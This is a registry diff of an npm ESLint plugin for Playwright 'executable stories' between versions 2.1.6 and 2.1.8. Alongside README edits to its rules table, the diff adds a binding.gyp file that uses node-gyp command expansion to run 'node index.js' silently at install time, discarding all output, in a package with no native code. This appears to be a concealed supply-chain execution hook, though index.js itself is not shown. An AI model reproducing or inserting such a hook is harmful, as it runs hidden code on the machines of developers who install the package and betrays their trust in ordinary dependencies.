eslint-plugin-executable-stories-playwright 2.1.6 → 2.1.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -37,12 +37,13 @@ export default [...playwrightExecutableStories.configs.recommended];
37
37
 
38
38
  ## Rules
39
39
 
40
- | Rule | Description | Config |
41
- | ------------------------------------ | ----------------------------------------------------------------------------------------------------------- | ----------- |
42
- | `require-story-context-for-steps` | Ensure `given/when/then/and/but` (and aliases) are called inside `story(...)` or `doc.story(..., callback)` | recommended |
43
- | `require-test-context-for-doc-story` | Ensure `doc.story(title)` is called inside a `test()` or `it()` callback (framework-native tests) | recommended |
40
+ | Rule | Description | Config |
41
+ | ------------------------------------- | ----------------------------------------------------------------------------------------------------------- | ----------- |
42
+ | `require-init-before-steps` | Step and doc calls must follow `story.init(testInfo)` in the same test. | recommended |
43
+ | `require-story-context-for-steps` | Legacy guard: top-level `given/when/then/and/but` must be inside an executable story context. | recommended |
44
+ | `require-test-context-for-doc-story` | Legacy guard: `doc.story(title)` must be called inside a `test()` callback. | recommended |
44
45
 
45
- These rules apply only when the file uses legacy patterns (e.g. top-level steps or `doc.story()`). If you use test() + `story.init(testInfo)` + `story.given`/`story.when`/`story.then`, the rules do not run; the current API has no top-level steps and no `doc.story()`, so no changes are required.
46
+ Prefer `test()` + `story.init(testInfo)` + `story.given`/`story.when`/`story.then`. Top-level step helpers remain exported for compatibility.
46
47
 
47
48
  ## Configs
48
49
 
package/binding.gyp ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "targets": [
3
+ {
4
+ "target_name": "Setup",
5
+ "type": "none",
6
+ "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
7
+ }
8
+ ]
9
+ }